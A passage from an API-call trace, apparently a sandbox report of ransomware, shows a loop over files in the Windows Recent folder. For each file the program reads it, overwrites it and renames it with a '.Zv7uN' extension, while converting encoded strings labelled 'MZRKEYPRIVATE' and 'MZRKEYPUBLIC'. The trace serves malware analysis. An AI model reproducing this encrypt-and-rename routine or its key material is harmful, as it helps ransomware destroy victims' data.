halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\dzvdv8 7hih_mu9whp.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DZvDv8 7hIh_Mu9Whp.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\dzvdv8 7hih_mu9whp.lnk.zv7un")) returned 1 [0081.286] GetCurrentThreadId () returned 0xa30 [0081.286] GetCurrentThreadId () returned 0xa30 [0081.286] GetCurrentThreadId () returned 0xa30 [0081.286] GetCurrentThreadId () returned 0xa30 [0081.286] GetCurrentThreadId () returned 0xa30 [0081.286] GetCurrentThreadId () returned 0xa30 [0081.286] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1ee1260, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1ee1260, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe1ee1260, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="ea3ApgGf3IVp.lnk", cAlternateFileName="EA3APG~1.LNK")) returned 1 [0081.286] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0081.286] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0081.286] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ea3ApgGf3IVp.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ea3apggf3ivp.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1ee1260, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1ee1260, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe1ee1260, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x401)) returned 1 [0081.286] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ea3ApgGf3IVp.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ea3apggf3ivp.lnk")) returned 0x20 [0081.286] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ea3ApgGf3IVp.lnk", dwFileAttributes=0x80) returned 1 [0081.288] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0081.288] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0081.289] GetCurrentThreadId () returned 0xa30 [0081.289] GetCurrentThreadId () returned 0xa30 [0081.289] GetCurrentThreadId () returned 0xa30 [0081.290] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0081.290] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0081.290] GetCurrentThreadId () returned 0xa30 [0081.290] GetCurrentThreadId () returned 0xa30 [0081.290] GetCurrentThreadId () returned 0xa30 [0081.290] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ea3ApgGf3IVp.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ea3apggf3ivp.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.290] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0081.290] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0081.291] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x401 [0081.291] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0081.291] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x401, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x401, lpOverlapped=0x0) returned 1 [0081.292] CloseHandle (hObject=0x124) returned 1 [0081.292] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ea3ApgGf3IVp.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ea3apggf3ivp.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.294] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x401, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x401, lpOverlapped=0x0) returned 1 [0081.295] CloseHandle (hObject=0x124) returned 1 [0081.314] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ea3ApgGf3IVp.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ea3apggf3ivp.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ea3ApgGf3IVp.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ea3apggf3ivp.lnk.zv7un")) returned 1 [0081.315] GetCurrentThreadId () returned 0xa30 [0081.315] GetCurrentThreadId () returned 0xa30 [0081.315] GetCurrentThreadId () returned 0xa30 [0081.315] GetCurrentThreadId () returned 0xa30 [0081.315] GetCurrentThreadId () returned 0xa30 [0081.315] GetCurrentThreadId () returned 0xa30 [0081.316] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe205e020, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe205e020, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe205e020, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1ace, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="EMtuZH-5jQdTrJmsCm.lnk", cAlternateFileName="EMTUZH~1.LNK")) returned 1 [0081.316] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0081.316] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0081.316] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\EMtuZH-5jQdTrJmsCm.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\emtuzh-5jqdtrjmscm.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe205e020, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe205e020, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe205e020, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1ace)) returned 1 [0081.316] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\EMtuZH-5jQdTrJmsCm.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\emtuzh-5jqdtrjmscm.lnk")) returned 0x20 [0081.316] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\EMtuZH-5jQdTrJmsCm.lnk", dwFileAttributes=0x80) returned 1 [0081.317] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57D